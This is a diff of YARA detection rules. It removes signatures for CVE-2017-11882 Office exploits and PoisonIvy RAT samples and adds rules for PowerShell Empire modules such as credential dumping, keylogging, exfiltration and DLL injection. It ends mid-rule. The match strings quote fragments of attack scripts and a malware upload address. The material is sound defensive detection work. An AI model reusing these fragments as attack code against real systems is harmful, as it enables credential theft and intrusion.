-		$font = { 0a 01 08 5a 5a }
-		$winexec = { 12 0c 43 00 }
+		$s1 = "$Base64Decoded = [Convert]::FromBase64String($Cpassword)" fullword ascii
+		$s2 = "$XMlFiles += Get-ChildItem -Path \"\\\\$DomainController\\SYSVOL\" -Recurse" ascii
+		$s3 = "function Get-DecryptedCpassword {" fullword ascii
 
 	condition:
-		all of them and @font>@headers and @winexec==@font+5+44
+		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Rtf_Cve2017_11882 : MALICIOUS EXPLOIT CVE_2017_1182
+rule SIGNATURE_BASE_Empire_Invoke_Smbscanner : FILE
 {
 	meta:
-		description = "Attempts to identify the exploit CVE 2017 11882"
-		author = "John Davison"
-		id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"
-		date = "2023-12-05"
+		description = "Detects Empire component - file Invoke-SmbScanner.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "63cd048b-04fd-5b4f-9d4d-3a001c31b4df"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_11882.yar#L20-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "51cf2a6c0c1a29abca9fd13cb22421da"
-		logic_hash = "37a65f086d393aae3dc88b3dd2520fff6e96b92fd6ae1be0a110f4eb826ae12d"
-		score = 60
-		quality = 81
-		tags = "MALICIOUS, EXPLOIT, CVE_2017_1182"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L157-L171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5feb32dd0fc5271256dc4a088b9b02b591dbe584759db7ee4f5a6c99f42c3c0c"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9a705f30766279d1e91273cfb1ce7156699177a109908e9a986cc2d38a7ab1dd"
 
 	strings:
-		$headers = { 31 63 30 30 30 30 30 30  30 32 30 30 ?? ?? ?? ??
-                     61 39 30 30 30 30 30 30  ?? ?? ?? ?? ?? ?? ?? ??
-                     ?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ??
-                     ?? ?? ?? ?? ?? ?? ?? ??  30 33 30 31 30 31 30 33
-                     ?? ?? }
-		$font = { 30 61 30 31 30 38 35 61  35 61 }
-		$winexec = { 31 32 30 63 34 33 30 30 }
+		$s1 = "$up = Test-Connection -count 1 -Quiet -ComputerName $Computer " fullword ascii
+		$s2 = "$out | add-member Noteproperty 'Password' $Password" fullword ascii
 
 	condition:
-		all of them and @font>@headers and @winexec==@font+((5+44)*2)
+		( uint16(0)==0x7566 and filesize <10KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Packager_Cve2017_11882 : CVE_2017_11882 FILE
+rule SIGNATURE_BASE_Empire_Exploit_Jboss : FILE
 {
 	meta:
-		description = "Attempts to exploit CVE-2017-11882 using Packager"
-		author = "Rich Warren"
-		id = "57ff395e-e56a-5e63-bde6-f3cef038fcd6"
-		date = "2023-12-05"
+		description = "Detects Empire component - file Exploit-JBoss.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a9c75cf5-9469-5a45-b750-69728ed0069f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_11882.yar#L41-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94e0c70e8140bb7fa3d184447617b534a8b9a24cdad535e6818be9662f0b9144"
-		score = 60
-		quality = 79
-		tags = "CVE-2017-11882, FILE"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L173-L190"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a0eef14c3966745a0f2b7eb404eed122a11eea2fb82884ebd2087b3ab90bff93"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9ea3e00b299e644551d90bbee0ce3e4e82445aa15dab7adb7fcc0b7f1fe4e653"
 
 	strings:
-		$font = { 30 61 30 31 30 38 35 61  35 61 }
-		$equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
-		$package = { 50 61 63 6b 61 67 65 }
-		$header_and_shellcode = /03010[0,1][0-9a-fA-F]{108}00/ ascii nocase
+		$s1 = "Exploit-JBoss" fullword ascii
+		$s2 = "$URL = \"http$($SSL)://\" + $($Rhost) + ':' + $($Port)" ascii
+		$s3 = "\"/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service" ascii
+		$s4 = "http://blog.rvrsh3ll.net" fullword ascii
+		$s5 = "Remote URL to your own WARFile to deploy." fullword ascii
 
 	condition:
-		uint32be(0)==0x7B5C7274 and all of them
+		( uint16(0)==0x7566 and filesize <10KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CVE_2017_11882_RTF : CVE_2017_11882 FILE
+rule SIGNATURE_BASE_Empire_Dumpcredstore : FILE
 {
 	meta:
-		description = "Detects suspicious Microsoft Equation OLE contents as used in CVE-2017-11882"
+		description = "Detects Empire component - file dumpCredStore.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "400689ff-e856-5cbf-a7fa-93f6a8d8dbb9"
-		date = "2018-02-13"
+		id = "cdb87ed4-fa90-5724-b37d-97cf8e4b8326"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_11882.yar#L58-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "729fa8215a24990371369158d4582cc0ba9387eb0e7221860bf7216046c447cb"
-		score = 60
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L192-L207"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7136920e531d7ab621e743c5c89c0d817fe453108878e3c808814ca48ad57fb3"
+		score = 75
 		quality = 85
-		tags = "CVE-2017-11882, FILE"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350"
 
 	strings:
-		$x1 = "4d534854412e4558452068747470"
-		$x2 = "6d736874612e6578652068747470"
-		$x3 = "6d736874612068747470"
-		$x4 = "4d534854412068747470"
-		$s1 = "4d6963726f736f6674204571756174696f6e20332e30" ascii
-		$s2 = "4500710075006100740069006f006e0020004e00610074006900760065" ascii
-		$s3 = "2e687461000000000000000000000000000000000000000000000"
+		$x1 = "[DllImport(\"Advapi32.dll\", SetLastError = true, EntryPoint = \"CredReadW\"" ascii
+		$s12 = "[String] $Msg = \"Failed to enumerate credentials store for user '$Env:UserName'\"" fullword ascii
+		$s15 = "Rtn = CredRead(\"Target\", CRED_TYPE.GENERIC, out Cred);" fullword ascii
 
 	condition:
-		( uint32be(0)==0x7B5C7274 or uint32be(0)==0x7B5C2A5C) and filesize <300KB and (1 of ($x*) or 2 of them )
+		( uint16(0)==0x233c and filesize <40KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_EXP_Potential_CVE_2017_11882 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Egresscheck : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "ReversingLabs"
-		id = "199710e0-5094-5940-ad29-f01383d5d8c2"
-		date = "2023-12-05"
+		description = "Detects Empire component - file Invoke-EgressCheck.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "21e09250-6853-5743-a6ef-aa6be8091d33"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_11882.yar#L82-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea28010c4de86ce94537f6ab0892f6b9e28b0c775706e38bde20f48bf968d58f"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L209-L222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "693564e0bd98ebd03cd433d8ba1003051a5cf6b1f0c05d3c5a4682e6d667327e"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e2d270266abe03cfdac66e6fc0598c715e48d6d335adf09a9ed2626445636534"
 
 	strings:
-		$docfilemagic = { D0 CF 11 E0 A1 B1 1A E1 }
-		$equation1 = "Equation Native" wide ascii
-		$equation2 = "Microsoft Equation 3.0" wide ascii
-		$mshta = "mshta"
-		$http = "http://"
-		$https = "https://"
-		$cmd = "cmd" fullword
-		$pwsh = "powershell"
-		$exe = ".exe"
-		$address = { 12 0C 43 00 }
+		$s1 = "egress -ip $ip -port $c -delay $delay -protocol $protocol" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and $docfilemagic at 0 and any of ($mshta,$http,$https,$cmd,$pwsh,$exe) and any of ($equation1,$equation2) and $address
+		( uint16(0)==0x233c and filesize <10KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_APT : FILE
+rule SIGNATURE_BASE_Empire_Reflectivepick_X64_Orig : FILE
 {
 	meta:
-		description = "Detects a PoisonIvy APT malware group"
+		description = "Detects Empire component - file ReflectivePick_x64_orig.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8d3b8222-8949-57dc-99b7-092189416efd"
-		date = "2015-06-03"
-		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
-		logic_hash = "938df757d1f5ee1028d61dbc2ab76a33c788a44f87cb0d84626420e20bfb5fa4"
-		score = 70
+		id = "cd69a149-d881-5f93-9647-84241bd96ba5"
+		date = "2016-11-05"
+		modified = "2022-12-21"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L224-L240"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a87c5f1da9c490887cba5e9837ca40ac92b63d8c36b682f4be770ac061b5acdf"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a8c1b108a67e7fc09f81bd160c3bafb526caf3dbbaf008efb9a96f4151756ff2"
 
 	strings:
-		$s0 = "pidll.dll" fullword ascii
-		$s1 = "sens32.dll" fullword wide
-		$s3 = "FileDescription" fullword wide
-		$s4 = "OriginalFilename" fullword wide
-		$s5 = "ZwSetInformationProcess" fullword ascii
-		$s9 = "Microsoft Media Device Service Provider" fullword wide
+		$a1 = "\\PowerShellRunner.pdb" ascii
+		$a2 = "PowerShellRunner.dll" fullword wide
+		$s1 = "ReflectivePick" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <47KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 1 of ($a*) and $s1
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_APT_2 : FILE
+rule SIGNATURE_BASE_Empire_Out_Minidump : FILE
 {
 	meta:
-		description = "Detects a PoisonIvy Malware"
+		description = "Detects Empire component - file Out-Minidump.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4d64ccd2-add8-5749-8178-f2c5336e1495"
-		date = "2015-06-03"
+		id = "8c53d2ab-afc5-5d7b-97e1-496425b9664f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L24-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "333f956bf3d5fc9b32183e8939d135bc0fcc5770"
-		logic_hash = "58d62278d776c9f7c3ae0815aa4b248f85c5fc648405b8d1ba2b8eb2847e1e88"
-		score = 70
-		quality = 83
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L242-L256"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ce4ac95ac942a2ad758b1d9034e6ec50d25d195ba1c2ae95a90a7490708e485"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1"
 
 	strings:
-		$s0 = "pidll.dll" fullword ascii
-		$s1 = "sens32.dll" fullword wide
-		$s2 = "9.0.1.56" fullword wide
-		$s3 = "FileDescription" fullword wide
-		$s4 = "OriginalFilename" fullword wide
-		$s5 = "ZwSetInformationProcess" fullword ascii
-		$s6 = "\"%=%14=" fullword ascii
-		$s7 = "091A1G1R1_1g1u1z1" fullword ascii
-		$s8 = "gHsMZz" fullword ascii
-		$s9 = "Microsoft Media Device Service Provider" fullword wide
-		$s10 = "Copyright (C) Microsoft Corp." fullword wide
-		$s11 = "MFC42.DLL" fullword ascii
-		$s12 = "MSVCRT.dll" fullword ascii
-		$s13 = "SpecialBuild" fullword wide
-		$s14 = "PrivateBuild" fullword wide
-		$s15 = "Comments" fullword wide
-		$s16 = "040904b0" fullword wide
-		$s17 = "LegalTrademarks" fullword wide
-		$s18 = "CreateThread" fullword ascii
-		$s19 = "ntdll.dll" fullword ascii
-		$s20 = "_adjust_fdiv" ascii
+		$s1 = "$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle," fullword ascii
+		$s2 = "$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <47KB and all of them
+		( uint16(0)==0x7566 and filesize <10KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_APT_3 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Psexec : FILE
 {
 	meta:
-		description = "Detects a PoisonIvy Malware"
+		description = "Detects Empire component - file Invoke-PsExec.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e2e0bf75-7704-585f-b2b3-727d14946c76"
-		date = "2015-06-03"
+		id = "19aaec3e-3e8f-5d7d-9c70-a212756c0300"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L60-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "df3e1668ac20edecc12f2c1a873667ea1a6c3d6a"
-		logic_hash = "96f8324dcf85f5baa64178774abf17516a9e023dd6fa38e2bce0fe5159a4f704"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L258-L273"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "86af63a3be5b4940966932b129edbe4cca5ac1a31d120ba44fdca739e9c97ad4"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
 
 	strings:
-		$s0 = "\\notepad.exe" ascii
-		$s1 = "\\RasAuto.dll" ascii
-		$s3 = "winlogon.exe" fullword ascii
+		$s1 = "Invoke-PsExecCmd" fullword ascii
+		$s2 = "\"[*] Executing service .EXE" fullword ascii
+		$s3 = "$cmd = \"%COMSPEC% /C echo $Command ^> %systemroot%\\Temp\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x7566 and filesize <50KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_APT_4 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Postexfil : FILE
 {
 	meta:
-		description = "Detects a PoisonIvy Sample APT"
+		description = "Detects Empire component - file Invoke-PostExfil.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "02bf546b-99a2-5ffb-8ee7-7bb005ef953b"
-		date = "2015-06-03"
+		id = "58d9e057-efde-56ab-9b7e-982342a910e2"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L79-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "558f0f0b728b6da537e2666fbf32f3c9c7bd4c0c"
-		logic_hash = "7ba10269d31e985dff582ae4103ef1179172ae475e078161864f185380bb5035"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L275-L289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74602d1c4986e6392df8845e0ed713499aa3b93c64e9d68e95f9dbaf60fe4299"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "00c0479f83c3dbbeff42f4ab9b71ca5fe8cd5061cb37b7b6861c73c54fd96d3e"
 
 	strings:
-		$s0 = "Microsoft Software installation Service" fullword wide
-		$s1 = "idll.dll" fullword ascii
-		$s2 = "mgmts.dll" fullword wide
-		$s3 = "Microsoft(R) Windows(R)" fullword wide
-		$s4 = "ServiceMain" fullword ascii
-		$s5 = "Software installation Service" fullword wide
-		$s6 = "SetServiceStatus" fullword ascii
-		$s7 = "OriginalFilename" fullword wide
-		$s8 = "ZwSetInformationProcess" fullword ascii
+		$s1 = "# upload to a specified exfil URI" fullword ascii
+		$s2 = "Server path to exfil to." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 7 of them
+		( uint16(0)==0x490a and filesize <2KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_5 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Smbautobrute : FILE
 {
 	meta:
-		description = "Detects PoisonIvy RAT sample set"
+		description = "Detects Empire component - file Invoke-SMBAutoBrute.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "61f7efd4-745a-5f06-a66d-b4b2a2ecc614"
-		date = "2015-06-03"
+		id = "a6b402ac-0925-5bc6-9d6a-b2b811496f9e"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L103-L123"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "545e261b3b00d116a1d69201ece8ca78d9704eb2"
-		logic_hash = "3f88b673b80b67a110915285a87ead265ad0176ea414426ba55e780e3aa396fe"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L291-L305"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd87a5d3a710017953c8c19862e4daee25de0e57175cab8246eea6d067fcb4d1"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7950f8abdd8ee09ed168137ef5380047d9d767a7172316070acc33b662f812b2"
 
 	strings:
-		$s0 = "Microsoft Software installation Service" fullword wide
-		$s2 = "pidll.dll" fullword ascii
-		$s3 = "\\mspmsnsv.dll" ascii
-		$s4 = "\\sfc.exe" ascii
-		$s13 = "ServiceMain" fullword ascii
-		$s15 = "ZwSetInformationProcess" fullword ascii
-		$s17 = "LookupPrivilegeValueA" fullword ascii
+		$s1 = "[*] PDC: LAB-2008-DC1.lab.com" fullword ascii
+		$s2 = "$attempts = Get-UserBadPwdCount $userid $dcs" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_6 : FILE
+rule SIGNATURE_BASE_Empire_Get_Keystrokes : FILE
 {
 	meta:
-		description = "Detects PoisonIvy RAT sample set"
+		description = "Detects Empire component - file Get-Keystrokes.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f364fad0-3684-5500-b21b-396f1e259217"
-		date = "2015-06-03"
+		id = "7fb57a0d-6b65-5ee8-96ef-9af303f15007"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L126-L164"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d77fd224b8d2dfd506faf0d3e359bf04172cc2854dc737e05c4bf99d0e1f3f7"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L307-L320"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "710e1bbf517c6683bd3082786e605cb8e6a52460f9c96609610e5ab38800dc79"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8c2630ab9b56c00fd748a631098fa4339f46d42b"
-		hash2 = "36b4cbc834b2f93a8856ff0e03b7a6897fb59bd3"
+		hash1 = "c36e71db39f6852f78df1fa3f67e8c8a188bf951e96500911e9907ee895bf8ad"
 
 	strings:
-		$x1 = "124.133.252.150" fullword ascii
-		$x3 = "http://124.133.254.171/up/up.asp?id=%08x&pcname=%s" fullword ascii
-		$z1 = "\\temp\\si.txt" ascii
-		$z2 = "Daemon Dynamic Link Library" fullword wide
-		$z3 = "Microsoft Windows CTF Loader" fullword wide
-		$z4 = "\\tappmgmts.dll" ascii
-		$z5 = "\\appmgmts.dll" ascii
-		$s0 = "%USERPROFILE%\\AppData\\Local\\Temp\\Low\\ctfmon.log" fullword ascii
-		$s1 = "%USERPROFILE%\\AppData\\Local\\Temp\\ctfmon.tmp" fullword ascii
-		$s2 = "\\temp\\ctfmon.tmp" ascii
-		$s3 = "SOFTWARE\\Classes\\http\\shell\\open\\commandV" fullword ascii
-		$s4 = "CONNECT %s:%i HTTP/1.0" fullword ascii
-		$s5 = "start read histry key" fullword ascii
-		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
-		$s7 = "[password]%s" fullword ascii
-		$s8 = "Daemon.dll" fullword ascii
-		$s9 = "[username]%s" fullword ascii
-		$s10 = "advpack" fullword ascii
-		$s11 = "%s%2.2X" fullword ascii
-		$s12 = "advAPI32" fullword ascii
+		$s1 = "$RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and 1 of ($x*)) or (8 of ($s*)) or (1 of ($z*) and 3 of ($s*))
+		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_Sample_7 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Dllinjection : FILE
 {
 	meta:
-		description = "Detects PoisonIvy RAT sample set"
+		description = "Detects Empire component - file Invoke-DllInjection.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "01224053-d95e-5144-981b-76cd7e57e1c3"
-		date = "2015-06-03"
+		id = "6aa14e8f-9801-5cd3-beb0-955e19d25503"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L166-L185"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9480cf544beeeb63ffd07442233eb5c5f0cf03b3"
-		logic_hash = "28db3fb7fa5b5e60ad1d1cc2b6d3d9d30a1948491105439201574ca354eb8bd1"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L322-L335"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "450ca96dd7c80275d7e4eaf07a7229e27530c373b8d79af5be8f4a741daef448"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
 
 	strings:
-		$s0 = "Microsoft Software installation Service" fullword wide
-		$s2 = "pidll.dll" fullword ascii
-		$s10 = "ServiceMain" fullword ascii
-		$s11 = "ZwSetInformationProcess" fullword ascii
-		$s12 = "Software installation Service" fullword wide
-		$s13 = "Microsoft(R) Windows(R) Operating System" fullword wide
+		$s1 = "-Dll evil.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x7566 and filesize <40KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Poisonivy_RAT_Ssmuidll : FILE
+rule SIGNATURE_BASE_Empire_Keepassconfig : FILE
 {
 	meta:
-		description = "Detects PoisonIvy RAT DLL mentioned in Palo Alto Blog in April 2016"
-		author = "Florian Roth (Nextron Systems) (with the help of yarGen and Binarly)"
-		id = "f2535b70-cf17-5435-9fc8-2dfdf70d95ac"
-		date = "2016-04-22"
+		description = "Detects Empire component - file KeePassConfig.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "814a6ff9-a6ac-55e7-bb3f-597351ce421d"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/WiwtYT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy.yar#L196-L230"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
